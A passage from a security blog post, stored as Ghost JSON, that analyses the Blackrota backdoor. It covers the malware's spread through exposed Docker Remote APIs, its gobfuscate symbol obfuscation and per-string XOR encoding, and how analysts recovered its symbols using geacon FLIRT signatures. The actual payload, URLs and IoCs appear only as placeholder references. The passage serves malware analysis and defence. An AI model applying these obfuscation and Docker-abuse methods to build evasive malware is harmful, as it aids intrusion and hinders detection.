analysis."]]],[1,"p",[[0,[0],1,"Blackrota"],[0,[],0," uses "],[0,[0],1,"gobfuscate"],[0,[],0," to obfuscate symbolic and type information, which is the \"life-door\" of such reverse-analysis tools. The symbolic information they parse and recover becomes unreadable, and it is not possible to make sense of the symbolic and type information, and it is not possible to know which third-party packages were imported to the project. This makes the reverse analysis process a lot more difficult."]]],[1,"p",[[0,[],0,"Historically, we have seen malware written in Go that was at best stripped at compiling time, and at worst slightly obfuscated, without much difficulty in reverse analysis. Blackrota brings a new approach to obfuscation, and is the most obfuscated Go-written malware in ELF format that we have found to date."]]],[1,"h2",[[0,[0],1,"Analysis"]]],[1,"h3",[[0,[0],1,"The spread of Blackrota"]]],[1,"p",[[0,[],0,"The author of "],[0,[0],1,"Blackrato"],[0,[],0," recruits multiple payloads for unauthorized use"],[1,[],0,11],[0,[],0,"of the Docker Remote API. A typical payload is simplified as follows:"]]],[10,1],[1,"p",[[0,[],0,"With a successful payload, the 32bit or 64bit Blackrota backdoor program will be downloaded from the following 2 URLs:"]]],[10,2],[1,"h3",[[0,[0],1,"Blackrota backdoor program"]]],[1,"p",[[0,[],0,"As described above,"],[0,[0],1,"Blackrota"],[0,[],0," backdoor program was written in Go language, with the help of our "],[0,[0,4],2,"go_parser"],[0,[],0," in IDAPro, we can tell it was compiled from "],[0,[0],1,"Go1.15.3"],[0,[],0,", with "],[0,[0],1,"GOROOT"],[0,[],0," path "],[0,[1],1,"\"/usr/local/Cellar/ go/1.15.3/libexec\""],[0,[],0,".In addition to these two valid pieces of information, the parsed source file paths, function names, global variable names, data type names, and method names bound to datat ypes are all obfuscated with random character substitutions and are unreadable."]]],[1,"p",[[0,[],0,"We can see the source file path list involved in the project (the directory of"],[1,[],0,12],[0,[],0,"the source file is named with a random string):"]]],[10,3],[1,"h3",[[0,[0],1,"Blackrota's function symblos"]]],[1,"p",[[0,[],0,"From the above parsing results, the biggest obstacle to reverse analysis is that the function names, type names, and method names are obfuscated into meaningless random characters in the source code of the third-party packages imported from the "],[0,[0],1,"Blackrota"],[0,[],0," sample. Partial list of functions after parsing:"]]],[10,4],[1,"p",[[0,[],0,"Obfuscated data type definition:"]]],[10,5],[1,"p",[[0,[],0,"In addition, there are still some method names bound to data types that are"],[1,[],0,13],[0,[],0,"not completely obfuscated:"]]],[10,6],[1,"p",[[0,[],0,"With thousands of random string-named functions and a large number of randomly-named data types, methods, and global variables, we could not be sure what third-party Go packages were used inside the sample, making the reverse analysis almost impossible to move forward. Eventually, after some careful analysis, we discovered that the Blackrota sample was compiled from "],[0,[0],1,"geacon"],[0,[],0,"."]]],[1,"p",[[0,[],0,"In this way, we can try to recover the function symbols in the "],[0,[0],1,"Blackrota"],[0,[],0," sample using the following steps."]]],[3,"ol",[[[0,[],0,"Compile a geacon binary with the same CPU architecture as the Blackrota sample, without stripped;"]],[[0,[],0,"Use "],[0,[0,5],2,"idb2pat.py"],[0,[],0," in IDAPro to extract the pattern("],[0,[0],1,"geacon.pat"],[0,[],0,") of the "],[0,[0],1,"geacon"],[0,[],0,"'s functions;"]],[[0,[],0,"Use the "],[0,[0],1,"sigmake"],[0,[],0," in Flair Tools set to create a Flirt Signature file for geacon("],[0,[0],1,"geacon.sig"],[0,[],0,")."]],[[0,[],0,"Import "],[0,[0],1,"geacon.sig"],[0,[],0," to "],[0,[0],1,"Blackrota"],[0,[],0,"'s sample in IDAPro, identify and recover the function symbols."]]]],[1,"p",[[0,[],0,"Progress made! But don't get too excited yet, because we found out that "],[0,[0],1,"Blackrota"],[0,[],0,"'s function symbols are not completely recognized, and there are about a hundred functions that are not covered by geacon's symbols, some of which are recognized as follows:"]]],[10,7],[1,"h3",[[0,[0],1,"Strings in Blackrota"]]],[1,"p",[[0,[],0,"In the analysis above, we saw that only a very few of the strings used in the Go standard packages are parsed in "],[0,[0],1,"Blackrota"],[0,[],0,", while the strings inside "],[0,[0],1,"geacon"],[0,[],0," are not parsed. The problem lies in the functions above that are not covered by the geacon symbol."]]],[1,"p",[[0,[],0,"From our analysis, we see that "],[0,[0],1,"Blackrota"],[0,[],0," XOR-encodes all the strings it uses internally, and dynamically decodes the strings at runtime to refer back to them. For each string, there is an XOR decoder function. "],[0,[0],1,"gobfuscate"],[0,[],0," generates a random XOR key of the same length as the string, solves a string of characters and returns it, and the solved string is referenced in the parent function. One of the key parts of the XOR decoding function is shown in the following figure:"]]],[10,8],[1,"p",[[0,[],0,"If we want to decode all the strings, we need to find each string encoding function, find the Encoded Bytes and XOR Key, and solve the strings using the XOR algorithm. This will increase a lot of work to the reverse analysis effort, and also help the program to avoid the automated detection of security products to some extent."]]],[1,"h2",[[0,[0],1,"Conclusion"]]],[1,"p",[[0,[],0,"Obfuscated malware written in Go is rare, except for a few simple attempts by white hats, but only two have been seen before: one is the ransomeware exposed by "],[0,[6],1,"@joakimkennedy"],[0,[],0," that only obfuscates function symbols in "],[0,[1],1,"package main"],[0,[],0,":"]]],[10,9],[1,"p",[[0,[],0,"That program simply obfuscates the names of a few functions in the main package and hardly causes any issue to the reverse analysis:"]]],[10,10],[1,"p",[[0,[],0,"The other one is another ransomeware "],[0,[0,7],2,"EKANS"],[0,[],0,", which uses the same obfuscation method as Blackrota:"]]],[10,11],[1,"p",[[0,[],0,"The obfuscation method of Blackrota and EKANS creates new challenges for reverse analysis. As the Go language becomes more popular, more and more malware will be written in Go in the future, we will keep an eye on what is going to happen."]]],[1,"h2",[[0,[0],1,"IoCs:"]]],[1,"h3",[[0,[0],1,"MD5"]]],[10,12],[1,"h3",[[0,[0],1,"C&C"]]],[10,13]],"ghostVersion":"3.0"}